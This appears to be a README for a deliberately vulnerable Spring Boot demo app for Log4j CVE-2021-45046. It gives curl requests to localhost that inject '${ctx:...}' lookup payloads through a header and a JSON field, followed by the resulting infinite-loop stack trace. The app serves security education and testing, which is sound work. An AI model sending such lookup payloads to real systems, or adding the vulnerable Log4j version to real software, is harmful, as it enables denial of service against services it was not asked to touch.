
लॉग4जे2 CVE-2021-45046 के लिए संवेदनशील नमूना स्प्रिंग बूट वेब एप्लिकेशन, शैक्षिक सुरक्षा परीक्षण के लिए JNDI इंजेक्शन और अनंत लूप शोषण का प्रदर्शन।
यह एप्लिकेशन स्प्रिंग बूट वेब एप्लिकेशन पर आधारित है जो CVE-2021-45046 के लिए कमजोर है।
यह Log4j 2.14.1 (spring-boot-starter-log4j2 2.6.1 के माध्यम से) का उपयोग करता है।

इसे चलाएँ:
Import the project in Java IDE as a maven project
Run CVEMainApplication.java as a spring boot app.
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiVersion}'
For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
"clientRef": "${ctx:clientRef}"
}'
${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR An exception occurred processing Appender LogToConsole java.lang.IllegalStateException: Infinite loop in property interpolation of ${ctx:clientRef}: ctx:clientRef
at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
मैसेज लुकअप पैटर्न के समर्थन को हटाकर और JNDI कार्यक्षमता को डिफ़ॉल्ट रूप से अक्षम करके ठीक करता है।